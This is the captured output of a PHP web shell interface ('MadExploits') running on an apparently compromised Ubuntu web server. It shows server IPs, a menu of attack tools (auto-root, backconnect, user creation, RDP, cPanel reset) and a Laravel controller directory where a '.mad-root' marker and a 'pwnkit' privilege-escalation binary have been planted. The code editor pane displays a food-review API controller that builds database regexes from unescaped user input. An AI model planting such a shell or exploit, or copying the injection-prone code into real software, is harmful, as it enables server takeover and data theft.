Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 3.140.196.3
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stage /
app /
Http /
Controllers /
API /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-r--r--
FoodController.php
6.27
KB
-rw-rw-r--
NewPlaceController.php
9.01
KB
-rw-rw-r--
PlaceController.php
31.89
KB
-rw-rw-r--
ReviewsController.php
5.32
KB
-rw-rw-r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : FoodController.php
<?php namespace App\Http\Controllers\API; use Illuminate\Http\Request; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Auth; use App\Http\Controllers\Controller; use App\Foods; use App\Place; class FoodController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { $foods = Foods::simplePaginate(15); return response()->json($foods->toArray()); } /** * Show add food form * @param string $slug **/ public function create(string $slug) { $place = Place::where('slug', $slug)->first(); if($place) { // $db = DB::getMongoDB(); // $food = $db->fooding->findOne(['_id' => new \MongoDB\BSON\ObjectId($id), 'place_id' => $place->_id]); return view('food.add', ['place' => $place->name, 'slug' => $place->slug]); } } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { $data = json_decode($request->getContent(), true); // Validator::make($data, [ // 'name' => ['required', 'string'], // 'price' => ['required'], // 'description' => ['string'] // ]); $db = DB::getMongoDB(); $place = $db->places->findOne(["slug" => $data["slug"]]); $user = Auth::user(); // return response()->json(['test' => 'hello']); $foodToAdd = [ "name" => $data['name'], "price" => $data['price'], "image" => $data['image'] ? [$data['image']] : [], "place_id" => (string) $place['_id'], "place_name" => $place['name'] ]; if(isset($data['rate'])){ $foodToAdd["rating"] = [ [ "rate" => intval($data['rate']), 'comment' => $data['comment'] ?? "", 'user_id' => $user->id, 'image' => $data['image'] ?? "", 'nickname' => $user->nickname ?: $user->name ] ]; } $result = $db->fooding->insertOne($foodToAdd); $food = $db->fooding->findOne(["_id" => $result->getInsertedId()], ['projection' => ['_id' => 0]]); return response()->json(['food' => $food, 'message' => $food['name'] . ' added successfully']); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function storeUpdate(Request $request, string $slug) { $data = json_decode($request->getContent(), true); $user = Auth::user(); // Validator::make($data, [ // 'name' => ['required', 'string'], // 'price' => ['required'], // 'description' => ['string'], // 'slug' => ['string', 'required'] // ]); $data['user'] = $db = DB::getMongoDB(); $place = $db->places->findOne(["slug" => $slug]); // dd($data); if($place) { $result = $db->foodupdate->insertOne($data); // $food = $db->foodupdate->findOne(["_id" => $result->getInsertedId()]); return response()->json(['status' => 'success', 'message' => 'Food item will be added to menu once confirmed']); } return response()->json(['message' => "Not found"], 404); } public function placeFood($slug) { $db = DB::getMongoDB(); $foods = $db->fooding->aggregate([['$match' => ['place_slug' => ['$regex' => "^$slug$", '$options' => "i"]]], ['$project' => ['_id' => 0, 'key' => ['$toString' => '$_id'], 'name' => 1, 'price' => 1]]]); return response()->json($foods->toArray()); } public function placeFoodBySlug($slug) { $db = DB::getMongoDB(); $foods = $db->fooding->aggregate([['$match' => ['place_slug' => $slug]], ['$project' => ['_id' => 0, 'key' => ['$toString' => '$_id'], 'name' => 1, 'price' => 1]]]); return response()->json($foods->toArray(), 200, ['Access-Control-Allow-Origin' => '*']); } public function placeFoodSearch($slug, $search) { $db = DB::getMongoDB(); $foods = $db->fooding->aggregate([['$match' => ['place_slug' => $slug, 'name' => ['$regex' => "^$search", '$options' => "i"]]], ['$project' => ['_id' => 0, 'key' => ['$toString' => '$_id'], 'name' => 1, 'price' => 1, 'description' => 1]]]); return response()->json($foods->toArray()); } /** * Search for food by name * * @param Request $request **/ public function search(String $query) { $trimmed = trim($query); $db = DB::getMongoDB(); $food = $db->fooding->find(['name' => ['$regex' => "$trimmed", '$options' => 'i']], ['projection' => ['name' => 1]]); // $food = Foods::where('name', 'LIKE', "%$trimmed%")->pluck('name'); return response()->json($food->toArray()); } public function feed() { $user = Auth::user(); $db = DB::getMongoDB(); $pipeline = []; $perPage = 10; $page = $_GET['page'] ?? null; $pipeline[] = ['$match' => [ // "rating" => ['$exists' => true, '$ne' => ""] "image" => ['$exists' => true, '$ne' => ""] ] ]; // if($page){ // $skip = (intval($page)-1)*$perPage; // $pipeline[] = [ // '$skip' => $skip // ]; // $pipeline[] = [ // '$limit' => $perPage // ]; // } $pipeline[] = ['$project' => [ "rate" => 1, "comment" => 1, "_id" => 0, "food_name" => 1, "place_slug" => 1, "place_name" => 1, "image" => 1, "nickname" => 1, "avatar" => 1 ] ]; $reviews = $db->reviews->aggregate($pipeline)->toArray(); // $place = $db->places->aggregate($pipeline)->toArray(); // return view('food.feed'); return response()->json($reviews); } }
Close